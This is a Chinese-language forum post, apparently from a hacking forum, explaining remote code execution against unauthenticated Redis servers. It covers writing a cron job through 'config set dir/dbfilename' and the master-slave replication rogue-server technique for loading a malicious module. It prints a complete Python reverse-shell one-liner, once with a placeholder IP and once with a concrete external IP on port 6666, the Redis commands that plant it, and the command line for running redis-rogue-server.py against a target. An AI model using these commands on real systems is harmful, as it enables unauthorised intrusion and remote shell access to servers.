標題:Redis 基於主從復制的RCE 利用方式

taibeihacker

Moderator

Redis 基于主从复制的 RCE 利用方式​

在2019 年7 月7 日結束的WCTF2019 Final 上,LC/BC 的成員Pavel Toporkov 在分享會上介紹了一種關於redis 新版本的RCE 利用方式,比起以前的利用方式來說,這種利用方式更為通用,危害也更大,下面就讓我們從以前的redis RCE 利用方式出發,一起聊聊關於redis 的利用問題。

通过写入文件 GetShell​

未授權的redis 會導致GetShell,利用方式如下:
1
2
3
4
5
6
7
8
127.0.0.1:6379 config set dir /var/spool/cron/crontabs
OK
127.0.0.1:6379 config set dbfilename root
OK
127.0.0.1:6379 get 1
'\n* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'IP\',6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\'/bin/sh\',\'-i\']);'\n'
127.0.0.1:6379 save
OK
而這種方式是通過寫文件來完成GetShell 的,這種方式的主要問題在於,redis 保存的數據並不是簡單的json 或者是csv,所以寫入的文件都會有大量的無用數據,形似
1
2
3
[padding]
* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'115.28.78.16\',6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\'/bin/sh\',\'-i\']);'
[padding]
這種主要利用了crontab、ssh key、webshell 這樣的文件都有一定容錯性,再加上crontab 和ssh 服務可以說是服務器的標準的服務,所以在以前,這種通過寫入文件的getshell 方式基本就可以說是很通殺了。
但隨著現代的服務部署方式的不斷發展,組件化成了不可逃避的大趨勢,docker 就是這股風潮下的產物之一,而在這種部署模式下,一個單一的容器中不會有除redis 以外的任何服務存在,包括ssh 和crontab,再加上權限的嚴格控制,只靠寫文件就很難再getshell 了,在這種情況下,我們就需要其他的利用手段了。

通过主从复制 GetShell​

Redis 主从复制​

Redis 是一個使用ANSI C 編寫的開源、支持網絡、基於內存、可選持久性的鍵值對存儲數據庫。但如果當把數據存儲在單個Redis 的實例中,當讀寫體量比較大的時候,服務端就很難承受。為了應對這種情況,Redis 就提供了主從模式,主從模式就是指使用一個redis 實例作為主機,其他實例都作為備份機,其中主機和從機數據相同,而從機只負責讀,主機只負責寫,通過讀寫分離可以大幅度減輕流量的壓力,算是一種通過犧牲空間來換取效率的緩解方式。
利用兩台docker 來做測試:
1
docker search redis5
20190724161851.png-water_print

1
docker pull damonevking/redis5.0
1
docker ps
20190724162159.png-water_print

通過slaveof 可以設置主從狀態:
首先在slave 上設置:
20190724163007.png-water_print

然後在master 上設置:
20190724162647.png-water_print

在slave 上,可以發現數據已經同步:
20190724163018.png-water_print

Redis 模块​

在了解了主從同步之後,我們還需要對redis 的模塊有所了解。
在Reids 4.x 之後,Redis 新增了模塊功能,通過外部拓展,可以實現在redis 中實現一個新的Redis 命令,通過寫c 語言並編譯出.so 文件。
編寫惡意so 文件的代碼
git clone 後,進入目錄,用make命令編譯即可獲得.so 庫文件。

利用原理​

在兩個Redis 實例設置主從模式的時候,Redis 的主機實例可以通過FULLRESYNC 同步文件到從機上。然後在從機上加載so 文件,我們就可以執行拓展的新命令了。

漏洞复现​

使用模擬的惡意服務端來作為主機,並模擬fullresync 請求。
(注:作者利用的是python3.7 環境成功執行)
然後啟用redis 5.0 的docker
然後直接通過POC 來攻擊服務端
1
python3 redis-rogue-server.py --rhost 172.18.0.2 --rport 6379 --lhost 172.18.0.1
20190724163504.png-water_print

(注:在docker 環境下反彈shell 會出現問題,因此本文中的lhost 使用的是docker 宿主機的內網IP。作者在使用外網IP 的時候,會彈出錯誤)
20190724164118.png-water_print
 
返回
上方